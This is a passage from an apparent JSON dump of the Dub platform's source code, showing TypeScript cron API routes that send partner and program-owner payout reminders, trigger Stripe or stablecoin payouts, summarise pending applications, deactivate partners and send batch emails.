    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { MIN_PAYOUT_AMOUNT_FOR_REMINDERS } from \"@/lib/constants/misc\";\nimport { qstash } from \"@/lib/cron\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { verifyVercelSignature } from \"@/lib/cron/verify-vercel\";\nimport { queueBatchEmail } from \"@/lib/email/queue-batch-email\";\nimport ConnectPayoutReminder from \"@dub/email/templates/connect-payout-reminder\";\nimport { prisma } from \"@dub/prisma\";\nimport { ACME_PROGRAM_ID, APP_DOMAIN_WITH_NGROK, log } from \"@dub/utils\";\nimport { logAndRespond } from \"../../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst BATCH_SIZE = 1000;\n\n// This route is used to send reminders to partners who have pending payouts\n// but haven't configured payouts yet.\n// Runs once a day at 7AM PST but only notifies partners every 3 days\n// + calls itself recursively to process all partners in batches\nasync function handler(req: Request) {\n  try {\n    if (req.method === \"GET\") {\n      await verifyVercelSignature(req);\n    } else if (req.method === \"POST\") {\n      const rawBody = await req.text();\n      await verifyQstashSignature({\n        req,\n        rawBody,\n      });\n    }\n\n    // Get unsent payouts grouped by partner and program, ordered by amount desc\n    const unsentPayouts = await prisma.payout.groupBy({\n      by: [\"partnerId\", \"programId\"],\n      where: {\n        status: {\n          in: [\"pending\", \"processing\", \"processed\", \"failed\"],\n        },\n        programId: {\n          not: ACME_PROGRAM_ID,\n        },\n        partner: {\n          payoutsEnabledAt: null,\n          OR: [\n            { connectPayoutsLastRemindedAt: null },\n            {\n              connectPayoutsLastRemindedAt: {\n                lte: new Date(Date.now() - 3 * 24 * 60 * 60 * 1000), // Last notified was at least 3 days ago\n              },\n            },\n          ],\n        },\n        amount: {\n          gte: MIN_PAYOUT_AMOUNT_FOR_REMINDERS,\n        },\n      },\n      _sum: {\n        amount: true,\n      },\n      orderBy: {\n        _sum: {\n          amount: \"desc\",\n        },\n      },\n      take: BATCH_SIZE,\n    });\n\n    if (!unsentPayouts.length) {\n      return logAndRespond(\"No action needed.\");\n    }\n\n    const hasMoreToProcess = unsentPayouts.length === BATCH_SIZE;\n\n    console.log(\n      `Found ${unsentPayouts.length} partner-program combinations needing reminders${hasMoreToProcess ? \" (more to process)\" : \"\"}`,\n    );\n\n    const [partnerData, programData] = await Promise.all([\n      prisma.partner.findMany({\n        where: {\n          id: {\n            in: unsentPayouts.map((payout) => payout.partnerId),\n          },\n          OR: [\n            {\n              users: {\n                none: {},\n              },\n            },\n            {\n              users: {\n                some: {\n                  notificationPreferences: {\n                    connectPayoutReminder: true,\n                  },\n                },\n              },\n            },\n          ],\n        },\n      }),\n\n      prisma.program.findMany({\n        where: {\n          id: {\n            in: unsentPayouts.map((payout) => payout.programId),\n          },\n        },\n      }),\n    ]);\n\n    const partnerProgramMap = new Map<\n      string,\n      {\n        partner: {\n          id: string;\n          name: string;\n          email: string;\n        };\n        programs: {\n          id: string;\n          name: string;\n          logo: string;\n          amount: number;\n        }[];\n      }\n    >();\n\n    for (const payout of unsentPayouts) {\n      const { partnerId, programId } = payout;\n      const { amount } = payout._sum;\n\n      const partner = partnerData.find((p) => p.id === partnerId);\n      const program = programData.find((p) => p.id === programId);\n\n      if (!partner?.email || !program) {\n        continue;\n      }\n\n      if (!partnerProgramMap.has(partnerId)) {\n        partnerProgramMap.set(partnerId, {\n          partner: {\n            id: partner.id,\n            name: partner.name,\n            email: partner.email,\n          },\n          programs: [],\n        });\n      }\n\n      partnerProgramMap.get(partnerId)!.programs.push({\n        id: program.id,\n        name: program.name,\n        logo: program.logo!,\n        amount: amount ?? 0,\n      });\n    }\n\n    const partnerPrograms = Array.from(partnerProgramMap.values());\n    const connectPayoutsLastRemindedAt = new Date();\n\n    console.log(\n      `Processing ConnectPayoutReminder for ${partnerPrograms.length} partners`,\n    );\n\n    await queueBatchEmail<typeof ConnectPayoutReminder>(\n      partnerPrograms.map(({ partner, programs }) => ({\n        variant: \"notifications\",\n        to: partner.email,\n        subject: \"Connect your payout details on Dub Partners\",\n        templateName: \"ConnectPayoutReminder\",\n        templateProps: {\n          email: partner.email,\n          programs,\n        },\n      })),\n    );\n\n    console.log(\n      `Queued ConnectPayoutReminder emails for ${partnerPrograms.length} partners`,\n    );\n\n    await prisma.partner.updateMany({\n      where: {\n        id: {\n          in: partnerPrograms.map(({ partner }) => partner.id),\n        },\n      },\n      data: {\n        connectPayoutsLastRemindedAt,\n      },\n    });\n\n    if (hasMoreToProcess) {\n      console.log(\"More partners need reminders, scheduling next batch...\");\n\n      const qstashResponse = await qstash.publishJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/payouts/reminders/partners`,\n        body: {},\n      });\n      if (qstashResponse.messageId) {\n        console.log(\n          `Message sent to Qstash with id ${qstashResponse.messageId}`,\n        );\n      } else {\n        // should never happen, but just in case\n        await log({\n          message: `Error sending message to Qstash to schedule next batch of payout reminders: ${JSON.stringify(qstashResponse)}`,\n          type: \"errors\",\n          mention: true,\n        });\n      }\n      return logAndRespond(\n        \"Finished sending payout reminders for current batch. Scheduling next batch...\",\n      );\n    }\n\n    return logAndRespond(\"Finished sending payout reminders for all batches.\");\n  } catch (error) {\n    await log({\n      message: `Error sending payout reminders: ${error.message}`,\n      type: \"errors\",\n      mention: true,\n    });\n    return handleAndReturnErrorResponse(error);\n  }\n}\n\n// GET/POST /api/cron/payouts/reminders/partners\nexport { handler as GET, handler as POST };\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/payouts/reminders/program-owners/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { INVOICE_MIN_PAYOUT_AMOUNT_CENTS } from \"@/lib/constants/payouts\";\nimport { verifyVercelSignature } from \"@/lib/cron/verify-vercel\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport ProgramPayoutReminder from \"@dub/email/templates/program-payout-reminder\";\nimport { prisma } from \"@dub/prisma\";\nimport { chunk, pluralize } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\nexport const dynamic = \"force-dynamic\";\n\n// GET /api/cron/payouts/reminders/program-owners\n// This route is used to send reminders to program owners about pending payouts\n// Runs every weekday at 1:00 PM UTC between 25th of current month and 5th of next month\n// Cron expression: 0 13 25-31,1-5 * * (runs daily at 1:00 PM UTC on days 25-31 and 1-5, filtered for weekdays in code)\nexport async function GET(req: Request) {\n  try {\n    await verifyVercelSignature(req);\n\n    // Only run on weekdays (Monday = 1, Friday = 5)\n    const today = new Date();\n    const dayOfWeek = today.getUTCDay(); // 0 = Sunday, 1 = Monday, ..., 6 = Saturday\n\n    if (dayOfWeek === 0 || dayOfWeek === 6) {\n      return NextResponse.json(\n        \"Skipping execution on weekend. Only runs on weekdays.\",\n      );\n    }\n\n    const programsWithCustomMinPayouts = await prisma.program.findMany({\n      where: {\n        minPayoutAmount: {\n          gt: 0,\n        },\n      },\n    });\n\n    const pendingPayouts = await prisma.payout.groupBy({\n      by: [\"programId\"],\n      where: {\n        status: \"pending\",\n        amount: {\n          gt: 0,\n        },\n        programId: {\n          notIn: programsWithCustomMinPayouts.map((p) => p.id),\n        },\n        partner: {\n          payoutsEnabledAt: {\n            not: null,\n          },\n        },\n      },\n      _sum: {\n        amount: true,\n      },\n      _count: {\n        _all: true,\n      },\n    });\n\n    for (const program of programsWithCustomMinPayouts) {\n      console.log(\n        `Manually calculating pending payout for program ${program.id} which has a custom min payout amount of ${program.minPayoutAmount}`,\n      );\n\n      const pendingPayout = await prisma.payout.aggregate({\n        where: {\n          programId: program.id,\n          status: \"pending\",\n          amount: {\n            gte: program.minPayoutAmount,\n          },\n          partner: {\n            payoutsEnabledAt: {\n              not: null,\n            },\n          },\n        },\n        _sum: {\n          amount: true,\n        },\n        _count: {\n          _all: true,\n        },\n      });\n\n      // if there are no pending payouts, skip this program\n      if (!pendingPayout._sum?.amount) {\n        continue;\n      }\n\n      pendingPayouts.push({\n        programId: program.id,\n        _sum: pendingPayout._sum,\n        _count: pendingPayout._count,\n      });\n    }\n\n    if (!pendingPayouts.length) {\n      return NextResponse.json(\"No pending payouts found. Skipping...\");\n    }\n\n    const recentPaidInvoices = await prisma.invoice.findMany({\n      where: {\n        programId: {\n          in: pendingPayouts.map((p) => p.programId),\n        },\n        // take invoices from the last 2 weeks\n        createdAt: {\n          gte: new Date(Date.now() - 14 * 24 * 60 * 60 * 1000),\n        },\n      },\n    });\n\n    // only send notifications for programs that:\n    // - have a total payout amount greater than or equal to $10 (INVOICE_MIN_PAYOUT_AMOUNT_CENTS)\n    // - have not paid out any invoices in the last 2 weeks\n    const payoutsToNotify = pendingPayouts.filter((p) => {\n      const invoiceTotal = p._sum?.amount ?? 0;\n      const recentPaidInvoicesForProgram = recentPaidInvoices.filter(\n        (i) => i.programId === p.programId,\n      );\n      return (\n        invoiceTotal >= INVOICE_MIN_PAYOUT_AMOUNT_CENTS ||\n        recentPaidInvoicesForProgram.length === 0\n      );\n    });\n\n    const programs = await prisma.program.findMany({\n      where: {\n        id: {\n          in: payoutsToNotify.map((p) => p.programId),\n        },\n      },\n      include: {\n        workspace: {\n          select: {\n            id: true,\n            slug: true,\n            users: {\n              where: {\n                role: \"owner\",\n              },\n              select: {\n                user: {\n                  select: {\n                    email: true,\n                  },\n                },\n              },\n            },\n          },\n        },\n      },\n    });\n\n    if (!programs.length) {\n      return NextResponse.json(\"No programs found. Skipping...\");\n    }\n\n    const programsWithPendingPayoutsToNotify = await Promise.all(\n      programs.map(async (program) => {\n        const payoutDetails = payoutsToNotify.find(\n          (p) => p.programId === program.id,\n        );\n\n        const workspace = program.workspace;\n\n        return workspace.users.map(({ user }) => ({\n          workspace: {\n            slug: workspace.slug,\n          },\n          user: {\n            email: user.email,\n          },\n          program: {\n            name: program.name,\n          },\n          payout: {\n            amount: payoutDetails?._sum?.amount ?? 0,\n            partnersCount: payoutDetails?._count?._all ?? 0,\n          },\n        }));\n      }),\n    ).then((p) => p.flat());\n\n    console.table(programsWithPendingPayoutsToNotify);\n\n    const programOwnerChunks = chunk(programsWithPendingPayoutsToNotify, 100);\n\n    for (const programOwnerChunk of programOwnerChunks) {\n      const res = await sendBatchEmail(\n        programOwnerChunk.map(({ workspace, user, program, payout }) => ({\n          variant: \"notifications\",\n          to: user.email!,\n          subject: `${payout.partnersCount} ${pluralize(\n            \"partner\",\n            payout.partnersCount,\n          )} awaiting your payout for ${program.name}`,\n          react: ProgramPayoutReminder({\n            email: user.email!,\n            workspace,\n            program,\n            payout,\n          }),\n        })),\n      );\n\n      console.log(`Sent ${programOwnerChunk.length} emails`, res);\n    }\n\n    return NextResponse.json(\"OK\");\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/payouts/send-stripe-payout/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { createStablecoinPayout } from \"@/lib/partners/create-stablecoin-payout\";\nimport { createStripeTransfer } from \"@/lib/partners/create-stripe-transfer\";\nimport { prisma } from \"@dub/prisma\";\nimport { log } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst payloadSchema = z.object({\n  partnerId: z.string(),\n  invoiceId: z.string().optional(),\n  chargeId: z.string().optional(),\n});\n\n// POST /api/cron/payouts/send-stripe-payout\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    const { partnerId, invoiceId, chargeId } = payloadSchema.parse(\n      JSON.parse(rawBody),\n    );\n\n    const payout = await prisma.payout.findFirst({\n      where: {\n        partnerId,\n        invoiceId,\n        status: \"processing\",\n        mode: \"internal\",\n        method: {\n          in: [\"connect\", \"stablecoin\"],\n        },\n      },\n      select: {\n        method: true,\n      },\n    });\n\n    if (!payout) {\n      return logAndRespond(\n        `No payout found for partner ${partnerId} and invoice ${invoiceId}`,\n      );\n    }\n\n    // Run the appropriate payout creation function based on the payout method\n    if (payout.method === \"connect\") {\n      await createStripeTransfer({\n        partnerId,\n        invoiceId,\n        chargeId,\n      });\n    } else if (payout.method === \"stablecoin\") {\n      await createStablecoinPayout({\n        partnerId,\n        invoiceId,\n      });\n    }\n\n    return logAndRespond(\n      `Processed send-stripe-payout job for partner ${partnerId} and invoice ${invoiceId}`,\n    );\n  } catch (error) {\n    const errorMessage = error instanceof Error ? error.message : String(error);\n\n    await log({\n      message: `Error sending Stripe payout: ${errorMessage}`,\n      type: \"errors\",\n      mention: true,\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/pending-applications-summary/route.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { withCron } from \"@/lib/cron/with-cron\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport { ResendBulkEmailOptions } from \"@dub/email/resend/types\";\nimport PendingApplicationsSummary from \"@dub/email/templates/pending-applications-summary\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport {\n  APP_DOMAIN_WITH_NGROK,\n  chunk,\n  nFormatter,\n  pluralize,\n} from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst PROGRAMS_BATCH_SIZE = 50;\n\nconst schema = z.object({\n  startingAfter: z.string().optional(),\n});\n\n// GET/POST /api/cron/pending-applications-summary\n// This route sends a daily summary of pending partner applications to program owners\n// Runs daily at 9:00 AM UTC\nexport const GET = withCron(async ({ rawBody }) => {\n  let { startingAfter } = schema.parse(\n    rawBody ? JSON.parse(rawBody) : { startingAfter: undefined },\n  );\n\n  // Get batch of programs with pending applications\n  const programs = await prisma.program.findMany({\n    where: {\n      partners: {\n        some: {\n          status: \"pending\",\n        },\n      },\n    },\n    include: {\n      workspace: {\n        select: {\n          id: true,\n          slug: true,\n        },\n      },\n    },\n    take: PROGRAMS_BATCH_SIZE,\n    ...(startingAfter && {\n      skip: 1,\n      cursor: {\n        id: startingAfter,\n      },\n    }),\n    orderBy: {\n      id: \"asc\",\n    },\n  });\n\n  if (!programs.length) {\n    return logAndRespond(\n      \"No more programs with pending applications found. Skipping...\",\n    );\n  }\n\n  const programIds = programs.map((p) => p.id);\n\n  // Get top 3 pending enrollments per program using SQL window function\n  // This efficiently gets only the top 3 from each program directly from the database\n  const topEnrollments = await prisma.$queryRaw<\n    Array<{\n      programId: string;\n      partnerId: string;\n      partnerName: string | null;\n      partnerEmail: string | null;\n      partnerImage: string | null;\n    }>\n  >(Prisma.sql`\n    SELECT \n      pe.programId,\n      p.id as partnerId,\n      p.name as partnerName,\n      p.email as partnerEmail,\n      p.image as partnerImage\n    FROM (\n      SELECT \n        id,\n        programId,\n        partnerId,\n        ROW_NUMBER() OVER (PARTITION BY programId ORDER BY createdAt DESC) as rn\n      FROM ProgramEnrollment\n      WHERE programId IN (${Prisma.join(programIds)})\n        AND status = 'pending'\n    ) ranked\n    INNER JOIN ProgramEnrollment pe ON pe.id = ranked.id\n    INNER JOIN Partner p ON p.id = pe.partnerId\n    WHERE ranked.rn <= 3\n    ORDER BY pe.programId, pe.createdAt DESC\n  `);\n\n  // Group enrollments by programId\n  const enrollmentsByProgramMap = new Map<\n    string,\n    Array<{\n      id: string;\n      name: string | null;\n      email: string | null;\n      image: string | null;\n    }>\n  >();\n\n  for (const enrollment of topEnrollments) {\n    const existing = enrollmentsByProgramMap.get(enrollment.programId) || [];\n    enrollmentsByProgramMap.set(enrollment.programId, [\n      ...existing,\n      {\n        id: enrollment.partnerId,\n        name: enrollment.partnerName,\n        email: enrollment.partnerEmail,\n        image: enrollment.partnerImage,\n      },\n    ]);\n  }\n\n  // Get counts of pending enrollments per program\n  const pendingCounts = await prisma.programEnrollment.groupBy({\n    by: [\"programId\"],\n    where: {\n      programId: {\n        in: programIds,\n      },\n      status: \"pending\",\n    },\n    _count: true,\n  });\n\n  // Create a map of programId -> count\n  const pendingCountMap = new Map(\n    pendingCounts.map((pc) => [pc.programId, pc._count]),\n  );\n\n  const workspaceUsers = await prisma.projectUsers.findMany({\n    where: {\n      project: {\n        defaultProgramId: {\n          in: programIds,\n        },\n      },\n      notificationPreference: {\n        pendingApplicationsSummary: true,\n      },\n      user: {\n        email: {\n          not: null,\n        },\n      },\n    },\n    select: {\n      project: {\n        select: {\n          slug: true,\n          defaultProgramId: true,\n        },\n      },\n      user: {\n        select: {\n          email: true,\n        },\n      },\n    },\n  });\n\n  // create a map of programId -> workspace users\n  const programWorkspaceUsersMap = new Map<\n    string,\n    {\n      users: {\n        email: string;\n      }[];\n      workspace: {\n        slug: string;\n      };\n    }\n  >();\n\n  for (const workspaceUser of workspaceUsers) {\n    const programId = workspaceUser.project.defaultProgramId!; // coerce since we filtered above\n    const workspaceUserEmail = workspaceUser.user.email!; // coerce since we filtered above\n    const existingData = programWorkspaceUsersMap.get(programId);\n    if (existingData) {\n      existingData.users.push({\n        email: workspaceUserEmail,\n      });\n    } else {\n      programWorkspaceUsersMap.set(programId, {\n        users: [\n          {\n            email: workspaceUserEmail,\n          },\n        ],\n        workspace: {\n          slug: workspaceUser.project.slug,\n        },\n      });\n    }\n  }\n\n  // Process each program\n  const emailsToSend: ResendBulkEmailOptions = [];\n\n  for (const program of programs) {\n    const totalPendingApplications = pendingCountMap.get(program.id) || 0;\n\n    if (totalPendingApplications === 0) {\n      continue;\n    }\n\n    const pendingEnrollments = enrollmentsByProgramMap.get(program.id) || [];\n\n    const { users, workspace } = programWorkspaceUsersMap.get(program.id) || {};\n\n    if (!users || !workspace) {\n      continue;\n    }\n\n    // Create email for each owner\n    for (const user of users) {\n      emailsToSend.push({\n        variant: \"notifications\",\n        to: user.email,\n        subject: `You have ${nFormatter(totalPendingApplications, { full: true })} partner ${pluralize(\"application\", totalPendingApplications)} pending review`,\n        react: PendingApplicationsSummary({\n          email: user.email,\n          partners: pendingEnrollments,\n          totalCount: totalPendingApplications,\n          date: new Date(),\n          workspace: {\n            slug: workspace.slug,\n          },\n        }),\n      });\n    }\n  }\n\n  if (!emailsToSend.length) {\n    return logAndRespond(\n      \"No emails to send. All programs either have no pending applications or no owners with notification preference enabled.\",\n    );\n  }\n\n  // Send email in batches\n  const emailChunks = chunk(emailsToSend, 100);\n  for (const emailChunk of emailChunks) {\n    await sendBatchEmail(emailChunk);\n  }\n\n  // Schedule the next batch if there are more programs to process\n  if (programs.length === PROGRAMS_BATCH_SIZE) {\n    startingAfter = programs[programs.length - 1].id;\n\n    const response = await qstash.publishJSON({\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/pending-applications-summary`,\n      method: \"POST\",\n      body: {\n        startingAfter,\n      },\n    });\n\n    return logAndRespond(\n      `Sent ${emailsToSend.length} emails and scheduled next batch (startingAfter: ${startingAfter}, messageId: ${response.messageId}).`,\n    );\n  }\n\n  return logAndRespond(\n    `Successfully sent ${emailsToSend.length} pending applications summary email(s).`,\n  );\n});\n\nexport const POST = GET;\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/program-application-reminder/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { qstash } from \"@/lib/cron\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { sendEmail } from \"@dub/email\";\nimport ProgramApplicationReminder from \"@dub/email/templates/program-application-reminder\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils/src/constants\";\n\n// POST - /api/cron/program-application-reminder\n// Sends an email if a program application hasn't received an associated partner\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n    await verifyQstashSignature({ req, rawBody });\n\n    const { applicationId } = JSON.parse(rawBody);\n\n    const application = await prisma.programApplication.findFirst({\n      where: {\n        id: applicationId,\n        // Only send reminders for applications that were created less than 3 days ago\n        createdAt: {\n          gt: new Date(Date.now() - 3 * 24 * 60 * 60 * 1000),\n        },\n      },\n      include: {\n        enrollment: true,\n        program: {\n          select: {\n            id: true,\n            name: true,\n            slug: true,\n            supportEmail: true,\n          },\n        },\n      },\n    });\n\n    if (!application) {\n      return new Response(\n        `Application ${applicationId} not found. Skipping...`,\n      );\n    }\n\n    if (application.enrollment) {\n      return new Response(\n        `Partner with applicationId ${application.id} has already been enrolled in program ${application.program.name}. Skipping...`,\n      );\n    }\n\n    const programEnrollment = await prisma.programEnrollment.findFirst({\n      where: {\n        programId: application.program.id,\n        partner: {\n          email: application.email,\n        },\n      },\n    });\n\n    if (programEnrollment) {\n      await prisma.programEnrollment.update({\n        where: {\n          id: programEnrollment.id,\n        },\n        data: {\n          applicationId: application.id,\n        },\n      });\n\n      return new Response(\n        `Partner with email ${application.email} has already been enrolled in program ${application.program.name}. Updated applicationId to ${application.id} and skipping...`,\n      );\n    }\n\n    await sendEmail({\n      subject: `Complete your application for ${application.program.name}`,\n      to: application.email,\n      replyTo: application.program.supportEmail || \"noreply\",\n      react: ProgramApplicationReminder({\n        email: application.email,\n        program: {\n          name: application.program.name,\n          slug: application.program.slug,\n        },\n      }),\n      variant: \"notifications\",\n    });\n\n    await qstash.publishJSON({\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/program-application-reminder`,\n      // repeat every 24 hours, but it'll be canceled if the application is more than 3 days old or is associated with a partner\n      delay: 24 * 60 * 60,\n      body: {\n        applicationId: application.id,\n      },\n    });\n\n    return new Response(\n      `Email sent to ${application.email} for application ${applicationId}.`,\n    );\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/programs/deactivate/route.ts",
    "content": "import { bulkDeactivatePartners } from \"@/lib/api/partners/bulk-deactivate-partners\";\nimport { CRON_BATCH_SIZE, qstash } from \"@/lib/cron\";\nimport { withCron } from \"@/lib/cron/with-cron\";\nimport { ACTIVE_ENROLLMENT_STATUSES } from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst inputSchema = z.object({\n  programId: z.string(),\n});\n\n// POST /api/cron/programs/deactivate - deactivate all partners in a program\nexport const POST = withCron(async ({ rawBody }) => {\n  const { programId } = inputSchema.parse(JSON.parse(rawBody));\n\n  console.info(`[deactivateProgram] Processing program ${programId}...`);\n\n  const program = await prisma.program.findUnique({\n    where: {\n      id: programId,\n    },\n    select: {\n      id: true,\n      workspaceId: true,\n      name: true,\n      deactivatedAt: true,\n    },\n  });\n\n  if (!program) {\n    return logAndRespond(`Program ${programId} not found.`);\n  }\n\n  if (!program.deactivatedAt) {\n    return logAndRespond(\n      `Program ${programId} is not deactivated. Skipping...`,\n    );\n  }\n\n  const programEnrollments = await prisma.programEnrollment.findMany({\n    where: {\n      programId,\n      status: {\n        in: ACTIVE_ENROLLMENT_STATUSES,\n      },\n    },\n    select: {\n      id: true,\n      partnerId: true,\n    },\n    take: CRON_BATCH_SIZE,\n  });\n\n  if (programEnrollments.length === 0) {\n    return logAndRespond(\n      `[deactivateProgram] No more partners to deactivate for program ${programId}. Exiting...`,\n    );\n  }\n\n  const partnerIds = programEnrollments.map(({ partnerId }) => partnerId);\n\n  await bulkDeactivatePartners({\n    workspaceId: program.workspaceId,\n    programId,\n    partnerIds,\n    programDeactivated: true,\n  });\n\n  // Self-queue the next batch if there are more partners to process\n  if (programEnrollments.length === CRON_BATCH_SIZE) {\n    const response = await qstash.publishJSON({\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/programs/deactivate`,\n      body: {\n        programId,\n      },\n    });\n\n    return logAndRespond(\n      `[deactivateProgram] Processed ${partnerIds.length} partners. Queued next batch ${response.messageId}.`,\n    );\n  }\n\n  return logAndRespond(\n    `[deactivateProgram] Finished deactivating all partners for program ${programId}.`,\n  );\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/send-batch-email/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { EMAIL_TEMPLATES_MAP } from \"@/lib/email/email-templates-map\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport { ResendEmailOptions } from \"@dub/email/resend/types\";\nimport { log } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport React from \"react\";\nimport * as z from \"zod/v4\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst batchEmailPayloadSchema = z.array(\n  z.object({\n    templateName: z.enum(\n      Object.keys(EMAIL_TEMPLATES_MAP) as [string, ...string[]],\n    ),\n    templateProps: z.record(z.string(), z.any()),\n    to: z.string(),\n    from: z.string().optional(),\n    subject: z.string(),\n    bcc: z.union([z.string(), z.array(z.string())]).optional(),\n    replyTo: z.string().optional(),\n    variant: z.enum([\"primary\", \"notifications\", \"marketing\"]).optional(),\n    headers: z.record(z.string(), z.string()).optional(),\n    tags: z.array(z.object({ name: z.string(), value: z.string() })).optional(),\n    scheduledAt: z.string().optional(),\n  }),\n);\n\ninterface BatchError {\n  email: string;\n  templateName: string;\n  error: string;\n}\n\n// POST /api/cron/send-batch-email\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    const payload = batchEmailPayloadSchema.parse(JSON.parse(rawBody));\n\n    const idempotencyKey = req.headers.get(\"Idempotency-Key\") || undefined;\n\n    console.log(`Processing batch of ${payload.length} email(s)`);\n\n    // Process all emails in parallel and build Resend payload\n    const results = await Promise.allSettled(\n      payload.map(async (emailItem) => {\n        const TemplateComponent = EMAIL_TEMPLATES_MAP[emailItem.templateName];\n\n        if (!TemplateComponent) {\n          throw new Error(\n            `Template \"${emailItem.templateName}\" not found in TEMPLATE_MAP`,\n          );\n        }\n\n        const react = React.createElement(\n          TemplateComponent,\n          emailItem.templateProps,\n        );\n\n        return {\n          emailItem,\n          emailPayload: {\n            react,\n            from: emailItem.from,\n            to: emailItem.to,\n            subject: emailItem.subject,\n            variant: emailItem.variant,\n            ...(emailItem.bcc && { bcc: emailItem.bcc }),\n            ...(emailItem.replyTo && { replyTo: emailItem.replyTo }),\n            ...(emailItem.headers && { headers: emailItem.headers }),\n            ...(emailItem.tags && { tags: emailItem.tags }),\n            ...(emailItem.scheduledAt && {\n              scheduledAt: emailItem.scheduledAt,\n            }),\n          },\n        };\n      }),\n    );\n\n    // Separate successes and failures\n    const emailsToSend: ResendEmailOptions[] = [];\n    const errors: BatchError[] = [];\n\n    for (let i = 0; i < results.length; i++) {\n      const result = results[i];\n      const emailItem = payload[i];\n\n      if (result.status === \"fulfilled\") {\n        emailsToSend.push(result.value.emailPayload);\n      } else {\n        const errorMessage =\n          result.reason instanceof Error\n            ? result.reason.message\n            : String(result.reason);\n\n        console.error(\n          `Failed to process email template ${emailItem.templateName} for ${emailItem.to}:`,\n          errorMessage,\n        );\n\n        errors.push({\n          email: emailItem.to,\n          templateName: emailItem.templateName,\n          error: errorMessage,\n        });\n\n        await log({\n          message: `Failed to import/render email template \"${emailItem.templateName}\" for ${emailItem.to}: ${errorMessage}`,\n          type: \"errors\",\n        });\n      }\n    }\n\n    if (emailsToSend.length === 0) {\n      console.error(\"No emails were successfully processed.\");\n\n      await log({\n        message: `Batch email processing failed: All ${payload.length} email(s) failed to process`,\n        type: \"errors\",\n        mention: true,\n      });\n\n      return NextResponse.json(\n        {\n          success: false,\n          processed: 0,\n          failed: payload.length,\n          errors,\n        },\n        { status: 500 },\n      );\n    }\n\n    console.log(`Sending ${emailsToSend.length} email(s) via Resend.`);\n\n    const { data, error } = await sendBatchEmail(emailsToSend, {\n      idempotencyKey,\n    });\n\n    if (error) {\n      console.error(\"Resend API error:\", error);\n\n      await log({\n        message: `Resend batch send failed: ${JSON.stringify(error)}`,\n        type: \"errors\",\n        mention: true,\n      });\n\n      return NextResponse.json(\n        {\n          success: false,\n          processed: 0,\n          failed: emailsToSend.length,\n          errors: [\n            ...errors,\n            {\n              error: \"Resend API error\",\n              details: error,\n            },\n          ],\n        },\n        { status: 500 },\n      );\n    }\n\n    if (data) {\n      console.log(`Successfully sent ${emailsToSend.length} email(s).`, data);\n    }\n\n    return NextResponse.json({\n      success: true,\n      sent: emailsToSend.length,\n      failed: errors.length,\n      ...(errors.length > 0 && { processingErrors: errors }),\n    });\n  } catch (error) {\n    const errorMessage = error instanceof Error ? error.message : String(error);\n\n    await log({\n      message: `Error processing batch email queue: ${errorMessage}`,\n      type: \"errors\",\n      mention: true,\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/shopify/order-paid/route.ts",
